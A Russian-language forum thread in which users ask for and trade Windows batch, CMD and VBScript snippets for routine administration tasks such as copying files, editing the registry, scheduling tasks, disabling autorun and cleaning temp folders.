будет все работать в автономном режиме. И этот скрипт может в дальнейшем во многом пригодиться ! AutoIT это установачная прога , хорошо может она и подайдёт ! amel27 насколько сложно сделат батник по выше указанным критериям ! Можно подсказать мне хотябы часть кода, я попробую дальше разобраться ! |
Другой вопрос:
Подскажите пожалуйста : Как сделать снимок экрана и чтоб сохронить его по дате и чеслу ! |
Цитата:
|
Цитата:
???? ЧТо вообше не как ?? :( |
Вот может кому пригодиться !
Авто логон, (если комп под паролем то можно записать автологон и при перезагрузки заходит автоматически) при нажатии LogOff просит пароль, а также при сочетании клавишь Win+L. Код:
'*********************************************************************************** Вот отмена скрипта ! Код:
'*********************************************************************************** |
lAGRESSORl,
Цитата:
Код:
For /F "Tokens=1 Delims=." %%i In ('WMIC OS Get LocalDateTime') Do Set FileName=%%i.JPG Цитата:
|
amel27 THX
|
Я в написании батников не разбираюсь вовсе... Может кто подскажет где взять книгу, или chm файл для новичков, очень хочется научиться!!
|
Medic84, шапке темы есть нужная информация, а дальше все зависит только от вас...
|
Что то я ничего не понимаю.... Хочу скопировать папку(я начинаю с малого) Ввожу команду
Код:
@echo off Что я делаю не так??? |
Medic84, для начала опцию /E добавьте.
А вообще: xcopy /? Возможно, короткое имя Callof~1 не существует. |
Цитата:
Все, я понял.... И правда короткого названия не было.... Сократил Имя папки... ОНО ДОЛЖНО БЫТЬ БЕЗ ПРОБЕЛОВ И СПЕЦ. ЗНАКОВ!!! |
Цитата:
|
Поскольку на мой вопрос от 12 июня никто пока не ответил, я в надежде на ответ удалил текст вопроса там и помещаю его вновь (в правилах форума запрета на это нет):
Возможен ли батник, изменяющий в Windows местоположение папок "Мои документы" для всех пользователей компа, с переносом, соответственно, содержимого этих папок? Новый адрес папки "Мои документы" для каждого пользователя должен выглядеть так: "D:\ Документы_Имя учетной записи". То есть при учетных записях "Вася" и "Петя" на диске D должны образоваться две папки: "Документы Вася" и "Документы Петя", заполненные соответственно их документами. Батник должен нормально отрабатывать и на русской, и на английской винде (т. е. исходная папка в Windows может, видимо, иметь разные названия (рус. и англ.). |
Возможно ли через батник, Взять значения из реестра и записать их в файл .reg??? Если можно то как???
|
Medic84, в описании команды Reg сказано: Добавляет, изменяет и отображает на экране информацию разделов реестра и значение записей реестра.
Можете про нее более детально почитать, и попробывать с ее помощью сделать то что вам нужно... Код:
reg export |
Medic84
Код:
REG EXPORT /? |
Medic84, полный экспорт реестра:
Код:
regedit.exe -ea С:\reg.reg Код:
regedit.exe -ea C:\reg.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services" |
Тема переименована, чтобы не ограничивать варианты решения только CMD и не плодить "напишите мне" тем по каждому языку.
Нет, ну надо же... Цитата:
Цитата:
Цитата:
|
Цитата:
|
Vadikan,
Цитата:
|
Код:
@echo off И после этого идет копирование, хотя копирование находится в метке, а раз команда choice не работает на нее перейти нельзя что не так?? Если можно проверте скрипт на ошибки... |
Цитата:
Можно кусок: Код:
choice /c 12 /m "Сделайте ваш выбор: " Код:
Set /P Ch=Сделайте ваш выбор: |
Цитата:
|
Medic84
не так просто, как вариант: Код:
@Echo Off |
подскажите как удалить из вкладки "безопасность" на диске "D" группу "ВСЕ" и добавить "Опытные пользователи" со всеми правами ?
|
illznn, есть такая утилита cacls, для поставленных задач нужно запустить её дважды с такими параметрами
Код:
cacls.exe D:\ /E /R Everyone |
Admiral, обыскался, не могу найти, где ее можно достать ?
|
illznn, в командной строке вводите команды.
|
Vadikan, В КС и ввожу, я думал эта утилита должна быть в корню с батником.
пишет "Именам пользователей не сопоставлены коды защиты данных." что это может быть... |
Цитата:
|
Модераторы, поправьте шапку, а то фраза
Цитата:
|
Всем привет! Есть два вопроса:
1. Возможно ли через bat/cmd/vbs/wsh определить ID железа (типа, PCI\VEN_10DE&DEV_0402&SUBSYS_2A83107D&REV_A1) и т.д. Если возможно, то как это мона реализовать?) 2. Можно ли через bat/cmd/vbs/wsh задать параметр следующей загрузки (надо, чтобы юзер автоматом ребутился в безопасный режим)? |
Цитата:
Цитата:
[решено] Первый вход в Безопасном режиме с правами админа |
Господа, прошу Вашей помощи:
необходим bat или wsh файл, который должен быть запущен на сервере и мониторить некоторые файлы. Для чего это надо: http://forum.oszone.net/post-913907.html#post913907 , пост 10. Т.е. надо открывать папку, в которой находятся файлы без расширения и с именем, равному IP компьютера, на который был выполнен вход. Файлы должны создаваться простым скриптом logon, что то типа этого: Код:
if not exist \\server\share\%IP% copy > \\server\share\%IP% bat файл должен пробегать по \\server\share\*.* , и совершать выход из системы для всех компьютеров, кроме первого в папке. Выход осуществляется при помощи запуска бесплатной утилиты из состава lanshutdown (www.LanTricks.com), в качестве аргумента ей необходим IP удаленной машины. синтаксис Код:
LanShutDownC -a %IPADDRESS% -wl |
Цитата:
|
У меня проблема такого типа:
Есть файл зараженый вирусом на ~120 ПК, при загрузке системы он автоматом загружается и не дает себя завершить через taskmgr. помогите написать батник который принудительно завершит процес и удалит его из папки!? |
|
vaska_sv, попробуйте переименовать файл процесса через REN и перегрузиться
|
такая задача. нужен батник который бы на определеном локальном диске искал файлы расширения jpg и копировал в один каталог.
спасибо :) |
Freezet
вариант с переименованием (если целевой файл уже существует): Код:
@Echo Off |
Всем доброго времени суток.
Код:
[GuiRunOnce] Может есть еще какиенибуть варианты чтобы запустить батник. Из этого батника запускаються рядомлежащие приложения с безшумной инсталяцией, регфайлы, настройки системы, пользователи\безопасность и т.д. Вобщем хотелось чтобы он выполнялся именно при первом входе. |
amel27, спасибо большое. Работает.
а как можно указать список папок в которых должно искать? например img, image, picture, photo чтоб не искало по всему диску а именно по таким папкам если они существуют? и еще одно, как указать все локальные диски для поиска? |
подскажите такую простую вещь
только начал капатся с bat-cmd перетаскиваю файл на bat файл соответсвенно переменная %1 возращает путь этого файла мне нужно выделить из пути только имя файла и "прибавить".jpg copy image.jpg /b + %1 /b <имя файла %1+.jpg> |
Цитата:
Цитата:
Для подробностей см. Пуск - Выполнить - набрать в ком строке: For /? Здесь выкладывал справку по консольным командам |
чиорт в моем примере всеравно чето не стыкуется
видимо в команде copy не допускается подстановки пути если вместо %1 использовать имя файла, предварительно положив файл в туже папку - то работает |
Как написать батник, который бы создавал файлы, соответствующие заранее составленному списку?
То есть, в директории лежит файл списка list.txt, в котором: 1.txt 2.txt 3.txt и батник test.bat, который должен обратиться к этому списку и создать соответствуюшие файлы: 1.txt, 2.txt, 3.txt. В точном соответствии с именем и количеством. |
Код:
@ECHO OFF Код:
Код:
Код:
|
illznn
сам батник запускается?... если нет, то все вопросы сюда: Файл ответов Winnt.sif .:[все вопросы, уточнения, не срабатывает установка, etc]:. Freezet Цитата:
Цитата:
- явным перечислением; - все несетевые диски (включая CD/DVD/USB); - только конкретного типа; - другие варианты? porosenok Код:
@echo on Код:
For /F "Delims=" %%i In (list.txt) Do @Echo.>%%i |
amel27,
тогда с именами папок пусть остается как было. Все ето нужно для того чтоб ускорить процесс поиска, может есть другие варианты ускорения? :) Цитата:
тогда как я понимаю нужно исключить из поиска ту папку в которую будет копироваться информация |
Freezet
Цитата:
Цитата:
(имя временного файла - имя CMD-файла с расширением .LST) Код:
@Echo Off |
amel27, призапуске бат файла создало файл с именем етого же бат файла и расширением .lst и папку Files но в папке пусто
|
Freezet
Цитата:
|
а можно как то избавится от OEM ? предведущий конфиг работал под WIN
Кодировку сменил, теперь создало список файлов не не скопировал в папку назначения. И можно сделать чтоб lst создавался в папке temp и после окончании скрипта файл удалялся? |
Freezet
Цитата:
Цитата:
- убери ">Nul" в строке "Copy "%~1" "%FileGetNewName%" >Nul" - запусти батник с параметрами "Batnik.CMD 1>Batnik.LOG 2>&1" и вышли в PM "Batnik.LOG" Цитата:
Код:
DEL /Q /F "%$LST%" |
Немного не по теме, но наткнулся на парочку интересных программ: Dr. Batcher (редактор batch-файлов, имеет подробную справку по командам bat; сайт) и Quick Batch File Compiler - компилятор бат-файлов в exe-приложения. Есть возможность полностью скрыть консольное окно, защитить паролем от последующего декомпилирования скрипта; сайт.
Обе программы платны. Скриншоты: Quick Batch File Compiler: ![]() Dr. Batcher: ![]() |
Freezet
Цитата:
- добавил кавычки (где не хватало); - немного оптимизировал в части скорости обработки; - учел твои пожелания насчет TEMP; - исключил из копирования файлы из "корзины". |
Нужно создать батник который из файла Del.txt удалял целые строчки где есть буквы ****(какой то текст из del.txt) ***** по списку из файла list.txt
Уточняю что оба файла находятся там же где и батник И **** это какие то буквы, слова и т.п. Для тех кому нужно.... Эти строчки нужно удалить из файлов Dosnet.ini и txtsetup.ini |
Medic84
для вхождений подстрок из List.txt в любом месте строк Del.txt, результат New.txt: Код:
FindStr /VIG:"List.txt" "Del.txt" 1>New.txt |
Прошу всех потестить батник, приведенный в сообщении http://forum.oszone.net/post-784912-117.html и высказать свое мнение о корректности (полноте) его работы, если будут замечания, то хотелось бы получить от вас предложения по корректировке (с учетом, правда, того обстоятельства, что сам я bat-аники совсем не понимаю и могу только проделать со своим файлом операции типа "заменить-вставить").
Мне хотелось бы, чтобы этот файл гарантированно срабатывал на любой винде (и рус., и англ.), для всех учетных записей, и в том числе очищал хард при загрузке с CD. |
Подскажите...
Есть несколько файлов. Допустим 100 %) Как с помощью переменной в бат файле записать поочередный их запуск (так как не хочется ссылку на каждый файл) Заранее спасибо. :) пс я себе это представляю так: автоматом определяются имена файлов и заносятся допустим в текстовый файл, а потом запускаются. :) Просто я не знаю как это осуществить на практике :) |
truvo
Цитата:
Код:
DIR /B /S /A:D "\TEMP.*" "\Temporary Internet Files.*" Цитата:
sLiDeR-X опишите задачу подробней - какого типа файлы?.. что они делают?... где располагаются? |
Цитата:
Цитата:
|
столкнулся вот с какой проблемой, нужно внести через bat/cmd такие параметры регистра:
Код:
[HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Update\Policy] Код:
Примечания |
Цитата:
|
gora, упс вопрос снят, я честно говоря вчера целый день пробовал через эту команду сменить параметры и нечего не происходило, а сегодня все с первой попытки ... наверное что-то проглядел, вопрос снят!!!
З.Ы. может кому будет интересно: Код:
reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v EnableJavaUpdate /t reg_dword /d 0 /f |
Цитата:
Можно и в одну строку ;) Код:
For %%I In (EnableJavaUpdate NotifyDownload NotifyInstall) Do reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v %%I /t reg_dword /d 0 /f |
amel27, есть рег файлы (только рег), мне нужно чтоб при запуске батника они запустились (если можно, то через reg import)
|
Цитата:
Код:
REG IMPORT <имя файла> |
gora, как запустить импорт из бат файла я знаю, мне нужно вот это:
Цитата:
|
Цитата:
Правда при таком раскладе запустится всё одновременно. |
sLiDeR-X, задача не сформулирована.
Цитата:
|
Цитата:
|
yurfed, ну не знаю, но моих телепатических способностей не хватило, что бы догадаться, что посты 389 и 396 звенья одной задачи. Да и местоположение этих файлов не известно, то ли в одной папке, то ли рассыпаны по разным!? Есть там еще файлы кроме оговоренных 100 или нет!? :dont-know
В общем с такой постановкой задачи решать ее!? Я пасс. Да и Start для "запуска" reg файлов как то не очень ;) |
yurfed, Ну задача в общем конечно ясна. И ты в общем сам и сказащ как надо ее решать:
Цитата:
Цитата:
Смотришь справку Пуск->Справка и поддержка. Вводищь в поле для поиска cледующее словосочетание: Справочник по параметрам командной строки И просматриваешь, интересуешься, задаешься вопросом, находишь ответ. В твоем случае просмотри комманду DIR, павраметры должны быть такие: Выводить только имена файлов, выводить в сокращенном виде(не выводя заголовочные сведения), Подскажу что это параметр /B. В файл направляешь вот так: any_command >list.txt про чтение из файла, узнаешь почитав о комманде FOR, подскажу что выглядеть это будет примерно так: FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO IF NOT "%%I"=="" ( запуск программы %%I ) Будут вопросы спрашивай... |
yurfed, все верно :) А вот старт полезен только для запуска файла, а мне нужно тихо интегрировать в реестр, так что только рег импорт :)
gora, все файлы лежат в одной папке. По-моему, задача была поставлена ясно :) (Если что не так - извините) ___oj, спасибо за советы :) Сделал я как написал ты, прочитал справку, вот что получилось: Код:
dir /b >list.txt |
Цитата:
|
___oj, а кто знает? )))
|
Цитата:
|
gora, да, действительно, сам не додумался :)
Ставлю echo - работает, а рег импорт нет :( Как сделать так, чтоб батник запускал рег импорт для файлов, лежащих на 1 дирикторию глубже? Т.е. Код:
Reg Код:
dir Files\ /b >list.txt Код:
dir Files\ /b/s >list.txt |
sLiDeR-X
Цитата:
Код:
Set $PATH=.\Files\*.reg truvo Цитата:
|
amel27, спасибо за помощь.... но то же самое, если убрать рег импорт, то запускается и ставится, только требует подтверждения, как только ставлю рег импорт, то ничего не происходит :(
И кстати не работает совсем с Do REG Import "%%i" (пишет ошибку), а если так Do REG Import "Files\%%i" то пишет мол все нормально, но ничего не добавляет |
amel27, sLiDeR-X, а почему не "regedit /s "%%i" ?
|
amel27, sLiDeR-X,
Цитата:
|
|
sLiDeR-X,
dir Files\*.reg /b/s >list.txt FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO reg import %%I ставит все втихую. |
Спасибо всем.... НО! никакой вариант не работает :( Вот не понимаю, хоть убей не работает.
Вот шаблоны всех: проверьте у себя пожалуйста кто может http://rapidshara.ru/54455 |
sLiDeR-X, не морочь людям голову. Все работает (кроме 3.bat), нужно то только в реги добавить пустую строку в конец.
открыть в блокеноте, переместиться в конец файла, в конец строки, Enter, сохранить |
vserd, блин, ну я то откуда знал, что строчку добавлять надо, вот и писал, что не работает.
Всем спасибо :) Помогли :) |
Цитата:
|
И еще вопросик %)
Как сделать так, чтоб при команде: Код:
dir Global\*.reg /b/s >list.txt Заранее спасибо :) |
Цитата:
Код:
chcp 1251 |
Цитата:
|
Просьба в написании скрипта.
Следующие вводные условия: 1. В директории C:\Program Files\XXX - расположена программа с командным файлом - yyy.exe. 2. Программа временами получает обновления, самого командного файла, которые попадают в директорию самой программы C:\Program Files\XXX и имеет вид файла - yyy_new.exe. 3. Обновления командного файла поступают в процессе работы самой программы. 4. Сам скрипт расположить в другой директории - C:\Program Files\ZZZ ----------------------------------- Необходимо: 1. Переименовать файл yyy_new.exe в yyy.exe и заменить им существующий. 2. При включении скрипта, вышло сообщение, что будет произведена замена (обновление) командного файла, и что необходимо отключить программу. 3. Необходимо проверить, есть ли, по крайней мере, хотя бы файл для обновления - yyy_new.exe. (В противном случае, лучше ничего не предпринимать, чем переименовывать несуществующий файл!!) - Если нет файла для обновления, то выдать соответствующее сообщение и выйти из программы скрипта. 4. При работе скрипта, (если пользователь не отключил программу), если программа работает - запущен сам командный файл yyy.exe, выходило предупреждение о необходимости отключить программу. 4. По окончании работы скрипта выводило сообщение с рапортом, что файл заменён или нет. |
Bosika, ИМХО для одного EXE выгонять из программы необязательно:
Код:
@Echo Off |
Здравствуйте, такая проблема на удаленной машине находящейся за модемом(модем имеет свой внешний ip адрес) у машины свой внутренний адрес. Как сделать чтоб шла проверка по определенным директориям на наличие потерянных файлов при обмене и выдавалось уведомление об этих потерянных файлах (например по почте).
|
Veter_79, Формулируйте задачу конкретней, а среду описывайте подробней. Как организован обмен файлами?.. по какому протоколу?.. какая периодичность?.. что конкретно нужно сверять - два каталога или содержимое каталога со списком файлов?.. компьютеры по сетке друг друга видят?.. по IP или по имени?
|
Идея такова есть несколько батников лежащих в определенной папке корня %SystemRoot%
Нужно сделать так чтобы они запускались каждую неделю скажем в пятницу 16:00 Можно ли это реализовать на VBS ? Если да то не могли бы помоч.... Если нет то как это можно реализовать ? Спасибо. |
illznn, наверное лучше сделать задание в планировщике.
|
illznn
Цитата:
Код:
CALL "%SystemRoot%\BAT\Batnik1.CMD" Код:
SchTasks /Create /tn "Батник" /tr "C:\WINDOWS\BAT\main.cmd" /sc weekly /d FRI /st 18:00:00 /ru System |
Написал небольшой скриптик по отключению автозапуска с любых носителей
Код:'************************** '*** AutorunDisabled ****** '************************** Dim WSHShell Set WSHShell = wscript.CreateObject("wscript.Shell") '****************************************** '**** Добавляем записи в реестр *********** '****************************************** WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\AutoRun", "0", "REG_DWORD" WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDriveTypeAutoR un", "255", "REG_DWORD" WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IniFileMapping\Autorun.inf\", "@SYS:DoesNotExist" WSHShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\CancelAutopl ay\Files\*.*", "" '************************************************* '**** Удаление MountPoints2 из реестра *********** '************************************************* WSHShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" WSHShell.RegDelete "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" WSHShell.RegDelete "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" WSHShell.RegDelete "HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" WSHShell.RegDelete "HKEY_USERS\S-1-5-21-2170445449-3629066266-18666223-4272\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\" Все замечательно работает, все необходимые записи добавляются в реестр, но вот при попытке удаления MountPoints2 из реестра, пишет, что данный раздел удалить невозможно, хотя я спокойно его могу удалить ручками. Подскажите, в чем может быть проблема? Как мне все-таки с помощью скрипта удалить MountPoints2 из реестра. |
Цитата:
Код:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v AutoRun /t REG_DWORD /d 0 /f |
Вообще не удаляет? и нет никакой возможности ((
плин обидно... А можно из WSH запустить батник на удаление просто, т.е. в теле WSH написать исполняемый код батника и чтобы он работал. |
Цитата:
Цитата:
Код:
Set WshShell = WScript.CreateObject("WScript.Shell") |
Всем доброго дня суток.
Преамбула. Код:
K:\PROCEDURES\Internal>dir /b|findstr /i feed Код:
K:\PROCEDURES\Internal>dir /b|findstr /i feed|start /b/max При этом проверено: если в потоке передаётся однородное имя файла без пробелов, то start нормально его открывает. |
Gennie, примерно так:
Код:
for /f "delims=" %i in ('dir /b *feed*') do start "" /b /max "%i" |
Спасибо. Я тоже думал сначала реализовать таким путём, правда потом подумал, почему бы не попробовать взять имя файла напрямую из потока, и вот те на... Хочется понять всё же до конца: это действительно проблема именно самой команды start, что она берёт из канальной передачи не всё, а только самое первое слово до пробела? Ведь судя по выводу, поток нормально передаёт полное имя файла.
|
Gennie, если вы запустите:
Код:
start /b /max Feedback procedure.doc |
О, и правда, не подумал. :) Действительно не выполнится. И запихать кавычки туда тоже не получится. Значит, видимо, остаётся только через for. Благодарю!
|
amel27,
спасибо большое, все помогло ) |
Liveofan, тогда на всякий случай функция удаления с подключами на VBS ;)
Код:
Const HKEY_CLASSES_ROOT = &H80000000 |
Есть exe-файл, запускающий cmd. Если кликнуть по нему 1 раз - запускается cmd-файл, если кликнуть 2 раза, то запускается тот же cmd, только дважды, тем самым один мешает работе другому и соответственно происходят ошибки.
Нужна cmd-команда, не позволяющая запустить одновременно 2 и более cmd-файлов, причём её нужно указать не в exe-файле, а в самом cmd, если это возможно. |
Цитата:
if [%RUNNED%]==[1] goto :Eof set RUNNED=1 .......... код батника .......... rem в саммом конце основного блока. set Runned= goto :eof RUNNED не должно использоваться в оригинальном cmd. В противном случае изменить на другое имя |
amel27,
Ясн. может пригодится, токо начал читать про WSH интересно ) Сейчас хочу автоматизовать процесс ввода в домен, на микрософте наткнулся на вот этот скриптик: Код:
Const JOIN_DOMAIN = 1 Но хотелось бы еще в скриптик добавить обработчик ошибки. Т.е. если скрипт сработал и комп в домен попал, чтобы выскочила надпись, комп успешно добавлен в домен, если же комп не смог войти в домен, то выскочило окно ошибки. И еще вопрос, возможно ли с помощью WSH заполнять сетевые настройки, а также имя компьютера? Это чисто скриптовый язык? Т.е. графические элементы у него есть? Например когда нужно ввести имя компьютера, то вписывать его не в тело скрипта, а чтобы выскочила панель, куда ты добавишь имя и нажмешь, ок ) |
А еще такой вопрос, есть ли отладчик приложений для WSH, а то если ошибка в коде есть, он просто мне выбрасывает виндовскую табличку с номером строки, в которой ошибка и все (
|
Rostlv
Цитата:
вместо SET можно использовать SETX из ресурскита Win2K: Код:
IF "%RUNNED%"=="1" EXIT Код:
REG QUERY HKCU\Environment /v RUNNED Код:
IF EXIST "%~dpn0.run" EXIT |
Liveofan
Цитата:
официально больше не поддерживается, хотя работает (смотреть внизу "Additional Information") Цитата:
Doctor Scripto's Script Shop (To Err Is VBScript – Part 1) Doctor Scripto's Script Shop (To Err Is VBScript – Part 2) |
И ещё вопрос, как с помощью cmd-файла проверить наличие определённого файла в системе, вернее его версии и при не совпадении версии файла с заданной, запретить выполнение cmd.
|
Всем доброго времени суток.
Прошу помочь с батником. Подключаюсь к инету таким вот образом : Подскажите как реализовать такую схему: если internet 1 выдал ошибку а инет 2 подключился то поменять их местами , а если второй тоже выдал ошибку а третий сработал то третий на место первого , сдвинув первый на место второго а второй на место третьего ... ( чтобы в следущий раз при запуске бат файла подключалось первым к тому который последний раз был успешно подключен ) Заранее спасибо |
Цитата:
Цитата:
Код:
@Echo Off |
Babullika
Цитата:
Код:
@Echo OFF Код:
"Internet 1" "Login1" "Pass1" |
Цитата:
|
amel27
спасибо ! еще вопрос - при подключении между повторами необходимо реализовать задержку через sleep.exe , т.е. если подлючение несработало перед попыткой сделать второе надо вставить sleep.exe 10 , неподскажете куда его вставить в вашем коде ? |
Если выделить несколько файлов и один из них переименовать допустим на: oszone, то все последующие (как они выстроены в текущем положении, сверху вниз) будут называться oszone (1), oszone (2) и.т.д
а как сделать так, чтобы чередование шло не в скобках, а просто цифрами? (oszone 1, oszone2 и.т.д) |
Babullika
Цитата:
ADD: все-таки "перед", иначе собьется значение ERRORLEVEL |
Доброго всем времени уток.
Вопрос такой по CMD. Есть расшаренный текстовый файл ZZZ.csv. Код:
@echo off Может и глупый, но вопрос: почему оно не выполняет EXIT в случае успешного нахождения и открытия освободившегося файла? Если файл освобождается юзером, то он нормально открывается в Эхеле, но окно скрипта при этом продолжает висеть пока не закроешь либо его само, либо этот CSV. И ещё в ту же тему интересный вопрос: скажем, у меня .CSV ассоциировано на открытие Excel'ем. Если этот файл уже кто-то открыл и я пытаюсь открыть его через консоль, то пишет ошибку, что его уже использует другой процесс, если через Explorer, то рисует экселевскую табличку, говоря, что файл уже открыт "by 'ANOTHER USER'". Если бы это был обычный XLS или DOC, в таком случае МС Офис пишет, что файл уже открыт таким-то, обозначая конкретное имя пользователя. Очень важный вопрос возник, можно ли как-нибудь определить, кто именно открыл этот расшаренный файл, кто скрывается под обозначением "another user"? |
Цитата:
Код:
start q:\XX\YY\ZZZ.csv 2>nul || goto rescan |
|
Вложений: 1
amel27,
Код:
... Кстати, вот, добавляю картиночку, что иногда возникает при введении команды start. То есть, получается, иногда (не всегда, а почему-то только иногда) скрипт работает не открывая сам файл CSV _только_ если он освободился от другого пользователя, а как будто я его пытаюсь запустить из GUI, вне зависимости, занят он или нет. Причём задача-то скрипта как раз и состояла в том, чтобы не пытаться открыть файл, если его уже кто-то занял, но сканировать его до тех пор, пока не отпустят, и только тогда запускать. Пока в голову приходит только одно объяснение: что этот файл был открыт сразу несколькими пользователями с уведомлением о его закрытии, и как только RW-юзер его отпускает, тут же Эксель передаёт RW-права следующему пользователю, а мой скрипт в это время почему-то не успевает перехватить открытие файла. Подскажите, плз, так ли это. |
Помогите с написанием БАТ файла...если это возможно конечно....
Вот что именно, надо В конторе необходимо чтобы при запуске бат файла он раскидывал файл(это обновление антивируса, который лежит на моем компе), по папкам на юзерские машины по сети(у всех юзеров эта папка называется ОБМЕН).... вот в принципе и вссе, ато так каждому кидать этот файл, тяжеловато....Тока не спрашивайте зачем так все сложно, все вопросы к моему главному сис админу)))) |
Bullet-Avalon, примерно так:
Код:
@Echo Off |
Ребят подскажите пожалуйста как написать батник что бы он удалял файлы и папки из определённой папки?
Я пишу так: Rmdir "C:\documents and Settings\****\local settings\temp\"/q /s Так с этой командой удаляется сама папка temp а мне надо что бы из неё (из папки Temp) удалялись все папки и файлы... |
Цитата:
|
ShaddyR, да я хочу очищать папку темп.
|
|
xctr, погляди здесь:
Как удалить темповые файлы при выходе из WinXP Home!!! //это если вызывать не из bat-файла, но ту же команду. Если же непосредственно по твоему вопросу - см. здесь, с учетом комментария. > amel27, кол-во выводимых сообщений у участника в настройках может отличаться от аналогичных настроек у тебя (напр., у меня в данной теме всего 12 страниц и, соответственно, сложно было бы прочесть 24-ю ;)). Корректнее будет называть номер сообщения и давать ссылку непосредственно на него. |
Всем спасибо разобрасля :) применил:
cmd /c rd /s /q "%userprofile%\local settings\temp\" |
Как можно определить ВСЕ жесткие и сьемные диски на компьютере и раскидать по ним определённые файлы и папки?
|
D_Master, пример Drives.vbs из Flash Drive Disinfector:
Код:
On Error Resume Next |
Petya V4sechkin, всё супер, всё копируется, правда осталась небольшая проблемка - скрипт определяет ещё и диск A:\ и пытается накопировать файла туда, как бы этого избежать?
Для копирования использую такой код: Код:
@echo off |
Оч маленькая просьба по CMD
Всем здрасте)
Я сам 0 в командной строке, и даже незнаю с чего начать.. в гугле забил, чёт ничё ненашёл... надо вообщем чтобы копировал 2 файла из одной папки в другуй с заменой и посли этого запускал приложение.. Спасибо за любую помощ чайнику! буду очень благодарен!!) |
вот так сработало:
Код:
D:\Work\cpp\c++test>copy /y test.cpp d:\temp | copy /y main.cpp d:\temp | explorer d:\temp Код:
D:\Work\cpp\c++test>copy /y test.cpp d:\temp && copy /y main.cpp d:\temp && explorer d:\temp Код:
D:\Work\cpp\c++test>copy /y test.cpp d:\temp || copy /y main.cpp d:\temp || explorer d:\temp ещё есть вариант писать батник или скрипт |
Блин ничего не понял... тыкал, тыкал.. (
мне нужно F:/111/download.dat F:/111/global.dat F:/111/opera6.ini перенести с заменой в E:\Program Files\Opera\profile и потом автоматически запустить opera.exe.... если не трудно помогите плз.. |
Уважаемый amel27 подсказал с написанием кода, который прекрасно работает.
Код:
@Echo Off ![]() ![]() ![]() |
inplust,
Код:
@echo off |
Цитата:
Код:
On Error Resume Next |
Цитата:
Код:
On Error Resume Next |
Petya V4sechkin, благодарю, всё супер! :up
|
Несколько вопросов по CMD:
1. Нужна команда позволяющая запуск CMD-файла только в указаной директории, если запустить файл в любой другой - отмена выполнения. 2. Как указать в CMD-файле проверку наличия большого количества файлов (примерно 40), при отсутствии хотя-бы одного из указанных - отмена выполнения. 3. Как указать проверку включена ли служба, если нет - запустить службу. 4. Можно ли прописать в CMD-файл проверку наличия определённого процесса, при отсутствии такого - выход из исполняемого CMD. 5. Если по какой либо причине, например после принудительного завершения процесса CMD.exe, мой CMD-файл прекратил работу, какая должна быть команда самоудаления. 6. Как самоудалить скрытый CMD, [Del /F /Q %0] - не работает. 7. Как прописать в файл дистрибутива svcpack.in_ свою строку? |
D_Master, спасиб большое! Выручил! Всё работает! :up
|
Нужен батник.
Имеется папка cstrike, в ней примерно каждый час появляются 2 новых *.dem файла, имена их примерно такие cl-0811241311-de_train.dem cl-0811241301-de_dust2.dem где: cl - не меняется 081124 - дата (год/месяц/число) 1311 и 1301 - время (чч/мм) de_dust2 и de_train - часть имени (имена карт в игре CS 1.6) Нужно чтоб при запуске батника файлы dem с папки cstrike добавлялись в архив (можно winrar или 7zip) и перемещались в папку demos/%date%/ тоесть каждый день новая папка в которой файлы dem только за етот день. Пример: demos/24.11.08/cl-0811241311-de_train.dem.rar demos/24.11.08/cl-0811241301-de_dust2.dem.rar demos/25.11.08/cl-0811251740-de_nuke.dem.rar demos/25.11.08/cl-0811251805-de_inferno.dem.rar чтоб ето было только за последние 5 дней, тоесть когда пойдет 6й день то папка с 1м днем стерлась :) Только одна проблема наверное, последний созданный файл будет не законченым и каждую секунду будет набирать вес, тоесть нужно сделать чтоб его в архив не бросало и не перемещало. Батник будет добавлен в Назначенные задания и будет выполнятся каждый час. Заранее спасибо |
Rostlv
1. Каталог запуска ROOT Код:
Set ROOT=C:\TEST Код:
Set ROOT=C:\WINDOWS 4. Например так: Код:
Set PROCESS=notpad.exe Код:
ATTRIB -R -H -S "%0" Код:
Set ROOT=C:\TEST |
Freezet,
Цитата:
D_Master Цитата:
Код:
For /F %%i In ('WMIC LogicalDisk Where "(DriveType=2 Or DriveType=3) And (MediaType=0 Or MediaType=11 Or MediaType=12 Or MediaType Is Null)" GET DeviceID^|Find ":"') Do @Echo %%i |
amel27
Большое спасибо за то, что откликнулись. Хочу уточнить. По вопросу 3, сначала проверить включена ли служба и только при её отключенном состоянии, включить. По вопросу 5, мой CMD работает, я беру и завершаю процесс CMD.exe, скрипт прекращает работу, но остаётся в директории запуска, отсюда вопрос, как самоудалить мой файл в случае принудительного завершения процесса? Или если возможно запретить принудительное завершение моего процесса CMD.exe, потому что, возникают ошибки, файл лучше отрабатывать до конца. |
amel27, прошу прощения... что я должен сделать? если не разбираюсь в етом? ето не раздел помощи? я приложил усилия чтоб правильно и понятно задать вопрос....
Тема называется Нужна помощь в написании BAT.... чем не понравились мои слова? Помощи не ждать? |
Freezet
извиняюсь за назидательный тон, но незнание не освобождает от чтения справки (зачем шапка?), от готового скрипта мало толку если вы сами не приложили к нему свою руку и голову Цитата:
1. определить по имени файла имя архива; 2. добавить файл в архив и удалить оригинал; 3. определить по имени архива имя папки назначения; 4. отделить старые архивы от актуальных; 5. переместить старые архивы в свои папки хранения; 6. удалить старые папки хранения в каталоге назначения. каждая задача может решаться по разному Код:
@Echo Off |
Rostlv,
Цитата:
